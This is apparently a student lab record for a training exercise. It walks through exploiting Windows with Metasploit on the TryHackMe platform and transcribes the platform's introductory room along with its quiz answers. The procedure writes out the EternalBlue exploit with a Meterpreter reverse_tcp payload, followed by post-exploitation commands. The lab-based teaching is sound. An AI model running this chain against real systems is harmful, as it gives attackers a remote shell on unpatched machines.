

EXPERIMENT – 9

Demonstration of Various Windows OS Exploits Using Metasploit Framework on TryHackMe Platform

Aim:

To understand and demonstrate exploitation of Windows operating system vulnerabilities using the Metasploit Framework through hands-on exercises on the TryHackMe platform.

Tools / Platform Required:

- Web Browser (Chrome / Firefox)
- Internet Connection
- TryHackMe Account (Already Created)
- TryHackMe AttackBox (Built-in Linux Environment)
- Metasploit Framework (Pre-installed in AttackBox)

Procedure:

Step 1: Login to TryHackMe

1. Open browser and go to: <https://tryhackme.com>
2. Login using your registered credentials.

Step 2: Open Metasploit Windows Exploitation Room

1. In the search bar, type **Metasploit** or **Windows Exploitation**.
2. Select the appropriate TryHackMe room.
3. Click **Join Room**.

Step 3: Start the AttackBox

1. Click **Start AttackBox**.
2. Wait for the Linux environment to load.
3. Open the terminal inside AttackBox.

Step 4: Launch Metasploit Framework

1. Start Metasploit console:
msfconsole
2. Wait for Metasploit to initialize.

Step 5: Scan the Target System

1. Identify the target IP address provided by the TryHackMe room.
2. Perform basic scanning:
nmap <target-ip>

Step 6: Select Windows Exploit Module

1. Search for Windows exploits:
2. search windows
3. Select a suitable exploit module (example: SMB vulnerability):
use exploit/windows/smb/ms17_010_eternalblue

Step 7: Configure Exploit Parameters

1. Set target IP:
set RHOSTS <target-ip>
2. Set payload:
set PAYLOAD windows/meterpreter/reverse_tcp
3. Configure local host:
set LHOST <your-ip>

Step 8: Execute the Exploit

1. Run the exploit:
exploit
2. Gain Meterpreter session upon successful exploitation.

Step 9: Post-Exploitation Activities

1. Verify access:
sysinfo
2. Check privileges:
getuid
3. Perform basic enumeration as guided by the room tasks.

Step 10: Complete the Room

1. Capture required flags.
2. Ensure all tasks are marked **Completed**.

Output:

The screenshot displays the Metasploit: Introduction room interface. At the top, the title "Metasploit: Introduction" is shown with a subtitle "An introduction to the main components of the Metasploit Framework." Below this, there are statistics: 370,340 users and 7612 recommendations. A green bar indicates "Room completed (100%)".

A list of tasks is shown, all marked as completed with green checkmarks:

- Task 1: Introduction to Metasploit
- Task 2: Main Components of Metasploit
- Task 3: Msfconsole
- Task 4: Working with modules
- Task 5: Summary

The content of Task 1 is expanded, showing the following text:

Metasploit is the most widely used exploitation framework. Metasploit is a powerful tool that can support all phases of a penetration testing engagement, from information gathering to post-exploitation.

Metasploit has two main versions:

- **Metasploit Pro**: The commercial version that facilitates the automation and management of tasks. This version has a graphical user interface (GUI).
- **Metasploit Framework**: The open-source version that works from the command line. This room will focus on this version, installed on the AttackBox and most commonly used penetration testing Linux distributions.

The Metasploit Framework is a set of tools that allow information gathering, scanning, exploitation, exploit development, post-exploitation, and more. While the primary usage of the Metasploit Framework focuses on the penetration testing domain, it is also useful for vulnerability research and exploit development.

The main components of the Metasploit Framework can be summarized as follows;

- **msfconsole:** The main command-line interface.
- **Modules:** supporting modules such as exploits, scanners, payloads, etc.
- **Tools:** Stand-alone tools that will help vulnerability research, vulnerability assessment, or penetration testing. Some of these tools are msfvenom, pattern_create and pattern_offset. We will cover msfvenom within this module, but pattern_create and pattern_offset are tools useful in exploit development which is beyond the scope of this module.

This room will cover the main components of Metasploit while providing you with a solid foundation on how to find relevant exploits, set parameters, and exploit vulnerable services on the target system. Once you have completed this room, you will be able to navigate and use the Metasploit command line comfortably.

Press the **Start Machine** button below.

► Start Machine

Start the AttackBox by pressing the **Start AttackBox** button at the top of this page to complete tasks and answer the questions. The AttackBox machine will start in Split-Screen view. If it is not visible, use the blue **Show Split View** button at the top of the page.

Answer the questions below

No answer needed

No answer needed

✓ Correct Answer

Task 2 ✓ Main Components of Metasploit

While using the Metasploit Framework, you will primarily interact with the Metasploit console. You can launch it from the AttackBox terminal using the `msfconsole` command. The console will be your main interface to interact with the different modules of the Metasploit Framework. Modules are small components within the Metasploit framework that are built to perform a specific task, such as exploiting a vulnerability, scanning a target, or performing a brute-force attack.

Before diving into modules, it would be helpful to clarify a few recurring concepts: vulnerability, exploit, and payload.

- **Exploit:** A piece of code that uses a vulnerability present on the target system.
- **Vulnerability:** A design, coding, or logic flaw affecting the target system. The exploitation of a vulnerability can result in disclosing confidential information or allowing the attacker to execute code on the target system.
- **Payload:** An exploit will take advantage of a vulnerability. However, if we want the exploit to have the result we want (gaining access to the target system, read confidential information, etc.), we need to use a payload. Payloads are the code that will run on the target system.

Answer the questions below

What is the name of the code taking advantage of a flaw on the target system?

Exploit

✓ Correct Answer

What is the name of the code that runs on the target system to achieve the attacker's goal?

Payload

✓ Correct Answer

What are self-contained payloads called?

Singles

✓ Correct Answer

Is "windows/x64/pingback_reverse_tcp" among singles or staged payload?

Singles

✓ Correct Answer

Task 3 Msfconsole

As previously mentioned, the console will be your main interface to the Metasploit Framework. You can launch it using the `msfconsole` command on your AttackBox terminal or any system the Metasploit Framework is installed on.

```
msfconsole

root@ip-10-10-220-191:~# msfconsole

-----
.' ##### ;."
.-.-.-.-.-;@      @@"; .---,--
." @@@@'.,'@@      @@@@'.,'@@@ "
'- @@@@@@@@@@@@@ @@@@@@@@@@@@@ @;
  @@@@@@@@@@@@@ @@@@@@@@@@@@@ .'
  "~~'.@@@ -.@      @,'- .'"--"
    ".@' ; @      @'.' ;'
    |@@@ @@@ @      .
    ' @@@ @ @      ,
    ^ @@@ @ @      .
    ',@@ @ @      ;
    ( 3 C )      /|___ / Metasploit! \
    ;@'.' _*_,,"  \|-- \
    '(.,..."/

      =[ metasploit v6.0 ]
+ -- --=[ 2048 exploits - 1105 auxiliary - 344 post ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]

Metasploit tip: Search can apply complex filters such as search cve:2009 type:exploit, see all the filters with help search

msf6 >
```

Please remember that exploits take advantage of a vulnerability on the target system and may always show unexpected behavior. A low-ranking exploit may work perfectly, and an excellent ranked exploit may not, or worse, crash the target system.

Answer the questions below

How would you search for a module related to Apache?

✓ Correct Answer

Who provided the auxiliary/scanner/ssh/ssh_login module?

✓ Correct Answer



Task 4 Working with modules

You can launch the target machine attached to this room to replicate the examples shown below. Any Metasploit version 5 or 6 will have menus and screens similar to those shown here so you can use the AttackBox or any operating system installed on your local computer.

Once you have entered the context of a module using the `use` command followed by the module name, as seen earlier, you will need to set parameters. The most common parameters you will use are listed below. Remember, based on the module you use, additional or different parameters may need to be set. It is good practice to use the `show options` command to list the required parameters.

All parameters are set using the same command syntax:

```
set PARAMETER_NAME VALUE
```

Answer the questions below

How would you set the LPORT value to 6666?

✓ Correct Answer

How would you set the global value for RHOSTS to 10.10.19.23?

✓ Correct Answer

What command would you use to clear a set payload?

✓ Correct Answer

What command do you use to proceed with the exploitation phase?

✓ Correct Answer

Task 5  Summary

As we have seen so far, Metasploit is a powerful tool that facilitates the exploitation process. The exploitation process comprises three main steps; finding the exploit, customizing the exploit, and exploiting the vulnerable service.

Metasploit provides many modules that you can use for each step of the exploitation process. Through this room, we have seen the basic components of Metasploit and their respective use.

It would be best if you also had used the ms17_010_eternalblue exploit to gain access to the target VM.

In the following rooms, we will cover Metasploit and its components in more detail. Once completed, this module should give you a good understanding of the capabilities of Metasploit.

Answer the questions below

No answer needed.

No answer needed

 Correct Answer

Result:

Thus, various Windows operating system exploits were successfully demonstrated using the Metasploit Framework on the TryHackMe platform.